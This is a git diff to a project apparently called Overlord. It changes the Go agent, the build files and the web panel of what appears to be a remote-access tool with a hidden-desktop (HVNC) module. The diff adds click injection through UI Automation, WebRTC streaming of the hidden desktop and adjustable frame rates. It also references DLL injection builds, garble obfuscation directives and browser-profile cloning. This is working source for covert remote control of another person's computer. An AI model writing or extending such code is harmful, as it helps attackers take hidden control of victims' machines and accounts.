diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml index b4aa73b..6b9d563 100644 --- a/.github/workflows/docker-publish.yml +++ b/.github/workflows/docker-publish.yml @@ -41,11 +41,11 @@ jobs: - name: Build BackstageInjection DLL with MSVC shell: cmd - run: call build-backstage-dll.bat + run: call scripts\build-backstage-dll.bat - name: Build BackstageCapture DLL with MSVC shell: cmd - run: call build-backstage-capture-dll.bat + run: call scripts\build-backstage-capture-dll.bat - name: Upload HVNC DLLs uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 diff --git a/.gitignore b/.gitignore index 94a0c50..5ba66fd 100644 --- a/.gitignore +++ b/.gitignore @@ -81,7 +81,6 @@ release/ stress/ Overlord-Client/cmd/loadgen/ -start-prod-tuned.bat ## Ignore Visual Studio temporary files, build results, and ## files generated by popular Visual Studio add-ons. diff --git a/Dockerfile b/Dockerfile index 82027f0..995a901 100644 --- a/Dockerfile +++ b/Dockerfile @@ -88,24 +88,24 @@ COPY Overlord-Server/ ./ # HVNC sources for the cross-compile fallback (used only if no pre-built MSVC DLL). COPY BackstageInjection/ ./BackstageInjection/ -COPY build-backstage-dll.sh ./build-backstage-dll.sh +COPY scripts/build-backstage-dll.sh ./scripts/ COPY BackstageCapture/ ./BackstageCapture/ -COPY build-backstage-capture-dll.sh ./build-backstage-capture-dll.sh +COPY scripts/build-backstage-capture-dll.sh ./scripts/ RUN mkdir -p dist-clients && \ if [ -f dist-clients/BackstageInjection.x64.dll ]; then \ echo "Using pre-built MSVC BackstageInjection DLL"; \ else \ - chmod +x build-backstage-dll.sh && \ - HVNC_SRC_DIR=BackstageInjection/src HVNC_OUT_DIR=dist-clients bash build-backstage-dll.sh || \ + chmod +x scripts/build-backstage-dll.sh && \ + HVNC_SRC_DIR=BackstageInjection/src HVNC_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \ echo "WARNING: BackstageInjection DLL not available (build with MSVC on Windows)"; \ fi RUN if [ -f dist-clients/BackstageCapture.x64.dll ]; then \ echo "Using pre-built MSVC BackstageCapture DLL"; \ else \ - chmod +x build-backstage-capture-dll.sh && \ - HVNC_CAPTURE_SRC_DIR=BackstageCapture/src HVNC_CAPTURE_OUT_DIR=dist-clients bash build-backstage-capture-dll.sh || \ + chmod +x scripts/build-backstage-capture-dll.sh && \ + HVNC_CAPTURE_SRC_DIR=BackstageCapture/src HVNC_CAPTURE_OUT_DIR=dist-clients bash scripts/build-backstage-capture-dll.sh || \ echo "WARNING: BackstageCapture DLL not available (build with MSVC on Windows)"; \ fi diff --git a/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go b/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go index 283bbbe..bd7a95d 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go @@ -1105,6 +1105,8 @@ var ( uiaDragStartPt point uiaLastClickTime time.Time uiaLastClickHwnd uintptr + uiaLastClickBtn int + uiaLastClickPt point ) func uiaSetActiveElement(elem *iuiAutomationElement) { @@ -1164,37 +1166,24 @@ func uiaHandleMouseMove(hwnd uintptr, screenPt point) { func uiaHandleMouseButton(hwnd uintptr, screenPt point, button int, down bool) error { uiaEnsureWorker() + inputSite := findInputSiteChild(hwnd) + msg, wparam, ok := uiaMouseButtonMessage(button, down) + if !ok { + return nil + } + messageTarget := uiaFastMouseTarget(hwnd, inputSite) + if down { uiaActiveMu.Lock() uiaDragStartPt = screenPt uiaDragActive = false uiaActiveMu.Unlock() - inputSite := findInputSiteChild(hwnd) - if inputSite != 0 { - clientPt := screenPt - procScreenToClient.Call(inputSite, uintptr(unsafe.Pointer(&clientPt))) - switch button { - case 0: - postMouseMessage(inputSite, WM_LBUTTONDOWN, MK_LBUTTON, clientPt) - case 2: - postMouseMessage(inputSite, WM_RBUTTONDOWN, MK_RBUTTON, clientPt) - } - } + uiaPostMouseToTarget(messageTarget, msg, wparam, screenPt) return nil } - inputSite := findInputSiteChild(hwnd) - if inputSite != 0 { - clientPt := screenPt - procScreenToClient.Call(inputSite, uintptr(unsafe.Pointer(&clientPt))) - switch button { - case 0: - postMouseMessage(inputSite, WM_LBUTTONUP, 0, clientPt) - case 2: - postMouseMessage(inputSite, WM_RBUTTONUP, 0, clientPt) - } - } + uiaPostMouseToTarget(messageTarget, msg, wparam, screenPt) uiaActiveMu.Lock() wasInDrag := uiaDragActive @@ -1206,22 +1195,70 @@ func uiaHandleMouseButton(hwnd uintptr, screenPt point, button int, down bool) e } now := time.Now() - isDoubleClick := now.Sub(uiaLastClickTime) < 400*time.Millisecond && uiaLastClickHwnd == hwnd + dx := screenPt.x - uiaLastClickPt.x + dy := screenPt.y - uiaLastClickPt.y + isDoubleClick := now.Sub(uiaLastClickTime) < 400*time.Millisecond && + uiaLastClickHwnd == hwnd && + uiaLastClickBtn == button && + dx*dx+dy*dy <= 25 uiaLastClickTime = now uiaLastClickHwnd = hwnd + uiaLastClickBtn = button + uiaLastClickPt = screenPt pt := screenPt // copy for closure btn := button isDbl := isDoubleClick is := inputSite h := hwnd + target := messageTarget uiaRunAsync(func() { - uiaMouseUpWorker(h, pt, btn, isDbl, is) + uiaMouseUpWorker(h, pt, btn, isDbl, is, target) }) return nil } -func uiaMouseUpWorker(hwnd uintptr, screenPt point, button int, isDoubleClick bool, inputSite uintptr) { +func uiaMouseButtonMessage(button int, down bool) (uint32, uintptr, bool) { + wparam := uintptr(currentMouseButtons()) + switch button { + case 0: + if down { + return WM_LBUTTONDOWN, wparam | MK_LBUTTON, true + } + return WM_LBUTTONUP, wparam, true + case 1: + if down { + return WM_MBUTTONDOWN, wparam | MK_MBUTTON, true + } + return WM_MBUTTONUP, wparam, true + case 2: + if down { + return WM_RBUTTONDOWN, wparam | MK_RBUTTON, true + } + return WM_RBUTTONUP, wparam, true + default: + return 0, 0, false + } +} + +func uiaFastMouseTarget(hwnd uintptr, inputSite uintptr) uintptr { + if inputSite != 0 { + return inputSite + } + return hwnd +} + +func uiaPostMouseToTarget(hwnd uintptr, msg uint32, wparam uintptr, screenPt point) bool { + if hwnd == 0 { + return false + } + clientPt := screenPt + procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt))) + postMouseMessage(hwnd, msg, wparam, clientPt) + return true +} + +func uiaMouseUpWorker(hwnd uintptr, screenPt point, button int, isDoubleClick bool, inputSite uintptr, postedTarget uintptr) { if uiaSingleton == nil { return } @@ -1235,42 +1272,109 @@ func uiaMouseUpWorker(hwnd uintptr, screenPt point, button int, isDoubleClick bo } defer elem.Release() + messageTarget := uiaResolvedMouseTarget(hwnd, elem, inputSite) + if messageTarget == 0 { + messageTarget = postedTarget + } + switch button { case 0: // Left click - if uiaTryAction(elem, isDoubleClick) { - return - } - if uiaTreeWalker != nil { - current := elem - for i := 0; i < 6; i++ { - parent := uiaTreeWalker.GetParentElement(current) - if parent == nil { - break - } - if current != elem { - current.Release() - } - current = parent - if uiaTryAction(current, isDoubleClick) { - if current != elem { - current.Release() - } - return - } - } - if current != elem { - current.Release() + if isWinUI3Window(hwnd) { + if uiaTryActionAscending(elem, isDoubleClick) { + return } } elem.SetFocus() + uiaSelectItem(elem) - case 2: // Right click — context menu - if inputSite != 0 { - procPostMessageW.Call(inputSite, WM_CONTEXTMENU, inputSite, makeLParam(screenPt.x, screenPt.y)) + case 2: // Right click: identify the element, then ask its window for a context menu. + elem.SetFocus() + uiaSelectItem(elem) + if messageTarget != 0 { + procPostMessageW.Call(messageTarget, WM_CONTEXTMENU, messageTarget, makeLParam(screenPt.x, screenPt.y)) } } } +func uiaResolvedMouseTarget(hwnd uintptr, elem *iuiAutomationElement, inputSite uintptr) uintptr { + if inputSite != 0 && isWinUI3Window(hwnd) { + return inputSite + } + if native := uiaNativeWindowFromElement(elem); native != 0 { + return native + } + if inputSite != 0 { + return inputSite + } + return hwnd +} + +func uiaNativeWindowFromElement(elem *iuiAutomationElement) uintptr { + if elem == nil { + return 0 + } + if hwnd := elem.GetNativeWindowHandle(); hwnd != 0 { + return hwnd + } + if uiaTreeWalker == nil { + return 0 + } + current := elem + for i := 0; i < 8; i++ { + parent := uiaTreeWalker.GetParentElement(current) + if parent == nil { + break + } + if current != elem { + current.Release() + } + current = parent + if hwnd := current.GetNativeWindowHandle(); hwnd != 0 { + if current != elem { + current.Release() + } + return hwnd + } + } + if current != elem { + current.Release() + } + return 0 +} + +func uiaTryActionAscending(elem *iuiAutomationElement, isDoubleClick bool) bool { + if elem == nil { + return false + } + if uiaTryAction(elem, isDoubleClick) { + return true + } + if uiaTreeWalker == nil { + return false + } + current := elem + for i := 0; i < 6; i++ { + parent := uiaTreeWalker.GetParentElement(current) + if parent == nil { + break + } + if current != elem { + current.Release() + } + current = parent + if uiaTryAction(current, isDoubleClick) { + if current != elem { + current.Release() + } + return true + } + } + if current != elem { + current.Release() + } + return false +} + func uiaTryAction(elem *iuiAutomationElement, isDoubleClick bool) bool { if uiaInvoke(elem) { if isDoubleClick { diff --git a/Overlord-Client/cmd/agent/capture/backstage_windows.go b/Overlord-Client/cmd/agent/capture/backstage_windows.go index 2c84635..82b6e87 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_windows.go @@ -1122,8 +1122,9 @@ func hvncMouseButtonOnThread(button int, down bool) error { return nil } - // WinUI3 branch: route through UIA patterns - if hvncUIAEnabled.Load() && isWinUI3Window(hitHwnd) { + // UIA branch: keep message-style clicks as the primary signal, but let + // UIA resolve complicated targets such as WinUI3/Explorer elements. + if hvncUIAEnabled.Load() { return uiaHandleMouseButton(hitHwnd, pt, button, down) } diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index 7978863..9c77924 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -614,6 +614,14 @@ func ResetPrev() { resetH264Encoder() } +func ResetPrevHVNC() { + hvncPrevMu.Lock() + hvncPrevFrame = nil + hvncPrevMu.Unlock() + hvncLastKeyframe.Store(0) + resetH264EncoderHVNC() +} + func jpegQuality() int { if q := overrideQuality.Load(); q > 0 { @@ -1550,12 +1558,14 @@ func SetQualityAndCodec(quality int, codec string) { h264WarnOnce = sync.Once{} if s != "h264" { resetH264Encoder() + resetH264EncoderHVNC() } case "": default: overrideCodec.Store("jpeg") resetH264Encoder() + resetH264EncoderHVNC() } } @@ -1599,9 +1609,19 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error { } captureDur := time.Since(t0) + willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) + var slotAcquired bool + if !willSendViaWebRTC && !AcquireFrameSlot() { + return nil + } + slotAcquired = !willSendViaWebRTC + quality := jpegQuality() frame, encodeDur, err := buildFrameHVNC(img, display, quality) if err != nil { + if slotAcquired { + ReleaseFrameSlot() + } return err } @@ -1613,12 +1633,37 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error { frame.Header.FPS = fps if ctx.Err() != nil { + if slotAcquired { + ReleaseFrameSlot() + } return nil } + if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) { + dur := time.Second / time.Duration(fps) + if dur <= 0 { + dur = 33 * time.Millisecond + } + if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil { + log.Printf("webrtc: write hvnc h264 failed: %v", werr) + } + if slotAcquired { + ReleaseFrameSlot() + } + return nil + } + if !slotAcquired { + if !AcquireFrameSlot() { + return nil + } + slotAcquired = true + } sendStart := time.Now() err = wire.WriteMsg(ctx, env.Conn, frame) sendDur := time.Since(sendStart) + if err != nil { + ReleaseFrameSlot() + } if shouldLogFrame(now) { total := time.Since(t0) diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go b/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go index 733497c..fe86b7f 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go @@ -443,7 +443,7 @@ var ( func encodeH264Frame(img *image.RGBA) ([]byte, error) { h264Mu.Lock() defer h264Mu.Unlock() - out, err := encodeH264FrameWithEncoder(&h264Enc, img) + out, err := encodeH264FrameWithEncoder(&h264Enc, "desktop", img) h264LastErr = err return out, err } @@ -451,16 +451,16 @@ func encodeH264Frame(img *image.RGBA) ([]byte, error) { func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) { hvncH264Mu.Lock() defer hvncH264Mu.Unlock() - return encodeH264FrameWithEncoder(&hvncH264Enc, img) + return encodeH264FrameWithEncoder(&hvncH264Enc, "backstage", img) } func encodeH264FrameWebcam(img *image.RGBA) ([]byte, error) { webcamH264Mu.Lock() defer webcamH264Mu.Unlock() - return encodeH264FrameWithEncoder(&webcamH264Enc, img) + return encodeH264FrameWithEncoder(&webcamH264Enc, "webcam", img) } -func encodeH264FrameWithEncoder(slot *h264FrameEncoder, img *image.RGBA) ([]byte, error) { +func encodeH264FrameWithEncoder(slot *h264FrameEncoder, stream string, img *image.RGBA) ([]byte, error) { if img == nil { return nil, errors.New("nil h264 frame") } @@ -479,7 +479,7 @@ func encodeH264FrameWithEncoder(slot *h264FrameEncoder, img *image.RGBA) ([]byte (*slot).Close() *slot = nil } - enc, err := newWindowsH264Encoder(width, height, fps) + enc, err := newWindowsH264Encoder(stream, width, height, fps) if err != nil { return nil, err } @@ -546,12 +546,13 @@ func closeH264Encoder(slot *h264FrameEncoder) { } } -func newWindowsH264Encoder(width, height, fps int) (h264FrameEncoder, error) { - if enc, err := newNativeH264Encoder(width, height, fps); err == nil { +func newWindowsH264Encoder(stream string, width, height, fps int) (h264FrameEncoder, error) { + if enc, err := newNativeH264Encoder(stream, width, height, fps); err == nil { return enc, nil } else { - log.Printf("capture: native NVENC D3D11 h264 encoder unavailable for %dx%d@%dfps: %v; trying Media Foundation", width, height, fps, err) + log.Printf("capture: native NVENC D3D11 h264 encoder unavailable stream=%s size=%dx%d fps=%d: %v; trying Media Foundation", stream, width, height, fps, err) } + log.Printf("capture: media foundation h264 fallback selected stream=%s size=%dx%d fps=%d", stream, width, height, fps) return newMFH264Encoder(width, height, fps) } diff --git a/Overlord-Client/cmd/agent/capture/native_h264_stub_windows.go b/Overlord-Client/cmd/agent/capture/native_h264_stub_windows.go index 64657ad..dbccff3 100644 --- a/Overlord-Client/cmd/agent/capture/native_h264_stub_windows.go +++ b/Overlord-Client/cmd/agent/capture/native_h264_stub_windows.go @@ -5,7 +5,7 @@ package capture import "fmt" import "unsafe" -func newNativeH264Encoder(width, height, fps int) (h264FrameEncoder, error) { +func newNativeH264Encoder(stream string, width, height, fps int) (h264FrameEncoder, error) { return nil, fmt.Errorf("native NVENC D3D11 requires cgo for %dx%d@%dfps", width, height, fps) } diff --git a/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go b/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go index e310ed6..757e3e4 100644 --- a/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go +++ b/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go @@ -1524,7 +1524,7 @@ type nativeH264Encoder struct { scratch []byte } -func newNativeH264Encoder(width, height, fps int) (h264FrameEncoder, error) { +func newNativeH264Encoder(stream string, width, height, fps int) (h264FrameEncoder, error) { bitrate := targetH264Bitrate(width, height, fps) raw := C.nvenc_create_d3d11_encoder(C.int(width), C.int(height), C.int(fps), C.int(bitrate)) if raw.encoder == nil { @@ -1537,7 +1537,7 @@ func newNativeH264Encoder(width, height, fps int) (h264FrameEncoder, error) { requestedFPS: fps, fps: fps, } - log.Printf("capture: native NVENC D3D11 h264 encoder active provider=NVIDIA NVENC size=%dx%d fps=%d input=NV12(upload) bitrate=%d", width, height, fps, bitrate) + log.Printf("capture: native NVENC D3D11 h264 encoder active stream=%s provider=NVIDIA NVENC size=%dx%d fps=%d input=NV12(upload) bitrate=%d", stream, width, height, fps, bitrate) return enc, nil } diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index d223336..b09cc91 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1130,6 +1130,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in capture.SetMaxResolution(maxH) sendCommandResultSafe(env, cmdID, true, "") return nil + case "hvnc_set_fps": + payload, _ := envelope["payload"].(map[string]interface{}) + fps := 120 + if payload != nil { + if v, ok := payloadInt(payload, "fps"); ok { + fps = v + } + } + fps = SetHVNCTargetFPS(fps) + log.Printf("hvnc: set target fps=%d", fps) + sendCommandResultSafe(env, cmdID, true, "") + return nil case "hvnc_set_quality": payload, _ := envelope["payload"].(map[string]interface{}) quality := 90 diff --git a/Overlord-Client/cmd/agent/handlers/hvnc.go b/Overlord-Client/cmd/agent/handlers/hvnc.go index f47398c..9c3e687 100644 --- a/Overlord-Client/cmd/agent/handlers/hvnc.go +++ b/Overlord-Client/cmd/agent/handlers/hvnc.go @@ -6,12 +6,14 @@ import ( "overlord-client/cmd/agent/capture" rt "overlord-client/cmd/agent/runtime" "sync" + "sync/atomic" "time" ) var ( hvncPersistedDisplayValue int hvncPersistedDisplayMu sync.Mutex + hvncTargetFPS atomic.Int64 ) func persistHVNCDisplaySelection(display int) { @@ -28,9 +30,11 @@ func GetPersistedHVNCDisplay() int { func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 - interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120) + fps := activeHVNCTargetFPS() + interval := time.Second / time.Duration(fps) capture.SetH264TargetFPS(fps) - log.Printf("hvnc: starting stream (max fps %d)", fps) + capture.SetFrameFlowTargetFPS(fps) + log.Printf("hvnc: starting stream (target fps %d)", fps) if err := capture.InitializeHVNCDesktop(); err != nil { log.Printf("hvnc: failed to initialize hidden desktop: %v", err) @@ -47,6 +51,7 @@ func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error { ticker := time.NewTicker(interval) defer ticker.Stop() + currentFPS := fps for { select { case <-ctx.Done(): @@ -54,6 +59,14 @@ func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error { capture.CleanupHVNCDesktop() return nil case <-ticker.C: + fps := activeHVNCTargetFPS() + if fps != currentFPS { + currentFPS = fps + capture.SetH264TargetFPS(fps) + capture.SetFrameFlowTargetFPS(fps) + ticker.Reset(time.Second / time.Duration(fps)) + log.Printf("hvnc: target fps changed to %d", fps) + } if err := capture.NowHVNC(ctx, env); err != nil { if ctx.Err() != nil { log.Printf("hvnc: stopping stream") @@ -66,6 +79,22 @@ func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error { } } +func activeHVNCTargetFPS() int { + if fps := int(hvncTargetFPS.Load()); fps > 0 { + return fps + } + _, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120) + return SetHVNCTargetFPS(fps) +} + +func SetHVNCTargetFPS(fps int) int { + fps = clampDesktopTargetFPS(fps) + hvncTargetFPS.Store(int64(fps)) + capture.SetH264TargetFPS(fps) + capture.SetFrameFlowTargetFPS(fps) + return fps +} + func HVNCSelect(ctx context.Context, env *rt.Env, display int) error { prev := env.HVNCSelectedDisplay maxDisplays := capture.HVNCMonitorCount() diff --git a/Overlord-Client/cmd/agent/handlers/webrtc.go b/Overlord-Client/cmd/agent/handlers/webrtc.go index 6707b70..38bf185 100644 --- a/Overlord-Client/cmd/agent/handlers/webrtc.go +++ b/Overlord-Client/cmd/agent/handlers/webrtc.go @@ -25,6 +25,8 @@ func pcm16BytesToInt16(chunk []byte) []int16 { func kindFromPayload(payload map[string]interface{}) webrtcpub.Kind { switch s, _ := payload["kind"].(string); s { + case "hvnc": + return webrtcpub.KindHVNC case "webcam": return webrtcpub.KindWebcam case "audio": @@ -79,7 +81,11 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa // Force a fresh SPS/PPS/IDR so the freshly subscribed viewer can // decode immediately instead of waiting for the next natural IDR. if hasVideo { - capture.ResetPrev() + if kind == webrtcpub.KindHVNC { + capture.ResetPrevHVNC() + } else { + capture.ResetPrev() + } } _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: true, @@ -136,7 +142,11 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p return nil } if hasVideo { - capture.ResetPrev() + if kind == webrtcpub.KindHVNC { + capture.ResetPrevHVNC() + } else { + capture.ResetPrev() + } } _ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PAnswer{ Type: "webrtc_p2p_answer", diff --git a/Overlord-Client/cmd/agent/webrtcpub/state.go b/Overlord-Client/cmd/agent/webrtcpub/state.go index cfc722f..1ea9714 100644 --- a/Overlord-Client/cmd/agent/webrtcpub/state.go +++ b/Overlord-Client/cmd/agent/webrtcpub/state.go @@ -10,6 +10,7 @@ type Kind string const ( KindDesktop Kind = "desktop" + KindHVNC Kind = "hvnc" KindWebcam Kind = "webcam" KindAudio Kind = "audio" ) diff --git a/Overlord-Desktop/README.md b/Overlord-Desktop/README.md index db29740..4ba9b6c 100644 --- a/Overlord-Desktop/README.md +++ b/Overlord-Desktop/README.md @@ -47,7 +47,7 @@ bun run build:mac # macOS DMG bun run build:linux # Linux AppImage ``` -Or from the repo root: `./build-desktop.sh` (or `build-desktop.bat` on Windows) picks the right target for the current OS. +Or from the repo root: `./scripts/build-desktop.sh` (or `scripts\build-desktop.bat` on Windows) picks the right target for the current OS. Output lands in `src-tauri/target/release/bundle/`. The CI workflow in `.github/workflows/desktop-release.yml` builds the Windows NSIS installer on every push to `main` that touches `Overlord-Desktop/` and publishes it as a GitHub Release tagged `Overlord-Desktop-v`. diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index 9268400..8c9d153 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -1,6 +1,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; import { checkFeatureAccess } from "./feature-gate.js"; import { createKeyboardCapture } from "./keyboard-capture.js"; +import { WhepClient } from "./whep.js"; +import { P2PClient } from "./webrtc-p2p.js"; +import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-settings.js"; (async function () { const clientId = new URLSearchParams(location.search).get("clientId"); @@ -65,6 +68,8 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; const qualityValue = document.getElementById("qualityValue"); const codecH264 = document.getElementById("codecH264"); const codecMode = document.getElementById("codecMode"); + const webrtcMode = document.getElementById("webrtcMode"); + const webrtcVideo = document.getElementById("webrtcVideo"); const canvas = document.getElementById("frameCanvas"); const canvasContainer = document.getElementById("canvasContainer"); const contextMenu = document.getElementById("hvncContextMenu"); @@ -76,6 +81,13 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; const dxgiCtrl = document.getElementById("dxgiCtrl"); const uiaCtrl = document.getElementById("uiaCtrl"); const hvncResolutionSelect = document.getElementById("hvncResolutionSelect"); + let whepClient = null; + let p2pClient = null; + let webrtcActive = false; + + function getWebrtcMode() { + return webrtcMode ? String(webrtcMode.value || "off") : "off"; + } function syncInputEnableState() { if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked }); @@ -96,7 +108,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; let moveTimer = null; let videoDecoder = null; let h264TimestampUs = 0; - const codecPrefKey = "hvncCodecPreferH264"; let prefersH264 = typeof VideoDecoder === "function"; let lastMoveSentAt = 0; const mouseMoveIntervalMs = 33; @@ -108,12 +119,68 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; let lastClipboardText = ""; let clipboardSyncActive = false; - const storedCodecPref = localStorage.getItem(codecPrefKey); - if (storedCodecPref === "0") { - prefersH264 = false; - } else if (storedCodecPref === "1") { - prefersH264 = typeof VideoDecoder === "function"; + let savedDisplay = null; + + function setSelectValue(select, value) { + if (!select || value === undefined || value === null) return false; + const normalized = String(value); + const exists = Array.from(select.options || []).some((opt) => opt.value === normalized); + if (!exists) return false; + select.value = normalized; + return true; } + + function applySavedDisplay() { + if (savedDisplay === null || savedDisplay === undefined) return; + setSelectValue(displaySelect, savedDisplay); + } + + function applySharedSettings(settings) { + if (!settings || typeof settings !== "object") return; + savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay; + setSelectValue(hvncResolutionSelect, settings.resolution); + setSelectValue(webrtcMode, settings.webrtcMode); + if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality); + if (mouseCtrl && typeof settings.mouse === "boolean") mouseCtrl.checked = settings.mouse; + if (kbdCtrl && typeof settings.keyboard === "boolean") kbdCtrl.checked = settings.keyboard; + if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync; + if (dxgiCtrl && typeof settings.dxgi === "boolean") dxgiCtrl.checked = settings.dxgi; + if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia; + if (typeof settings.preferH264 === "boolean") { + prefersH264 = settings.preferH264 && typeof VideoDecoder === "function"; + } + const cloneToggle = document.getElementById("hvncCloneToggle"); + const cloneLiteToggle = document.getElementById("hvncCloneLiteToggle"); + const killIfRunningToggle = document.getElementById("hvncKillIfRunningToggle"); + if (cloneToggle && typeof settings.cloneProfile === "boolean") cloneToggle.checked = settings.cloneProfile; + if (cloneLiteToggle && typeof settings.cloneLite === "boolean") cloneLiteToggle.checked = settings.cloneLite; + if (killIfRunningToggle && typeof settings.killIfRunning === "boolean") { + killIfRunningToggle.checked = settings.killIfRunning; + } + applySavedDisplay(); + } + + function readSharedSettings() { + return { + display: Number(displaySelect?.value || 0), + resolution: hvncResolutionSelect?.value || "1080", + quality: Number(qualitySlider?.value || 90), + preferH264: !!prefersH264, + webrtcMode: getWebrtcMode(), + mouse: !!mouseCtrl?.checked, + keyboard: !!kbdCtrl?.checked, + clipboardSync: !!clipboardSyncCtrl?.checked, + dxgi: !!dxgiCtrl?.checked, + uia: !!uiaCtrl?.checked, + cloneProfile: document.getElementById("hvncCloneToggle")?.checked !== false, + cloneLite: document.getElementById("hvncCloneLiteToggle")?.checked === true, + killIfRunning: document.getElementById("hvncKillIfRunningToggle")?.checked === true, + }; + } + + applySharedSettings(await loadSharedUiSettings("hvnc")); + const sharedSettingsSaver = createSharedUiSettingsSaver("hvnc", readSharedSettings); + if (codecH264) { codecH264.checked = prefersH264; codecH264.disabled = typeof VideoDecoder !== "function"; @@ -253,7 +320,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } if (clipboardSyncCtrl) { - clipboardSyncCtrl.addEventListener("change", checkClipboardSync); + clipboardSyncCtrl.addEventListener("change", function () { + checkClipboardSync(); + sharedSettingsSaver.scheduleSave(); + }); } function clearOfflineTimer() { @@ -290,6 +360,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; clearOfflineTimer(); if (desiredStreaming) { setStreamState("starting", "Reconnecting"); + const mode = getWebrtcMode(); if (displaySelect && displaySelect.value !== undefined) { sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0, @@ -297,7 +368,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } sendCmd("hvnc_start", { autoStartExplorer: false, + webrtc: mode === "relayed", }); + if (mode === "p2p") startP2P(); syncInputEnableState(); } else { setStreamState("idle", "Stopped"); @@ -672,6 +745,110 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; ws.send(encodeMsgpack(msg)); } + function setWebrtcViewActive(active) { + webrtcActive = !!active; + if (canvas) canvas.style.display = active ? "none" : "block"; + if (webrtcVideo) webrtcVideo.style.display = active ? "block" : "none"; + } + + function onWebrtcState(label, state) { + console.debug(`hvnc webrtc[${label}]: state`, state); + if (state === "connected") { + setStreamState("streaming", `Streaming (${label})`); + } else if (state === "failed" || state === "disconnected") { + setWebrtcViewActive(false); + } + } + + let webrtcRvfcHandle = 0; + let webrtcFpsCount = 0; + let webrtcFpsWindowStart = 0; + + function startWebrtcFrameTicker() { + if (!webrtcVideo || typeof webrtcVideo.requestVideoFrameCallback !== "function") return; + stopWebrtcFrameTicker(); + webrtcFpsCount = 0; + webrtcFpsWindowStart = performance.now(); + const tick = (now) => { + lastFrameAt = performance.now(); + clearOfflineTimer(); + webrtcFpsCount += 1; + const elapsed = now - webrtcFpsWindowStart; + if (elapsed >= 1000) { + const fps = Math.round((webrtcFpsCount * 1000) / elapsed); + updateFpsDisplay(fps); + webrtcFpsCount = 0; + webrtcFpsWindowStart = now; + } else { + updateFpsDisplay(); + } + webrtcRvfcHandle = webrtcVideo.requestVideoFrameCallback(tick); + }; + webrtcRvfcHandle = webrtcVideo.requestVideoFrameCallback(tick); + } + + function stopWebrtcFrameTicker() { + if (webrtcRvfcHandle && webrtcVideo && typeof webrtcVideo.cancelVideoFrameCallback === "function") { + webrtcVideo.cancelVideoFrameCallback(webrtcRvfcHandle); + } + webrtcRvfcHandle = 0; + } + + async function startWhep(whepPath) { + await stopAllWebrtc(); + if (!webrtcVideo) return; + whepClient = new WhepClient({ + whepPath, + videoEl: webrtcVideo, + onState: (state) => onWebrtcState("WebRTC Relayed", state), + }); + try { + await whepClient.start(); + setWebrtcViewActive(true); + startWebrtcFrameTicker(); + } catch (err) { + console.warn("hvnc webrtc: WHEP start failed, falling back to 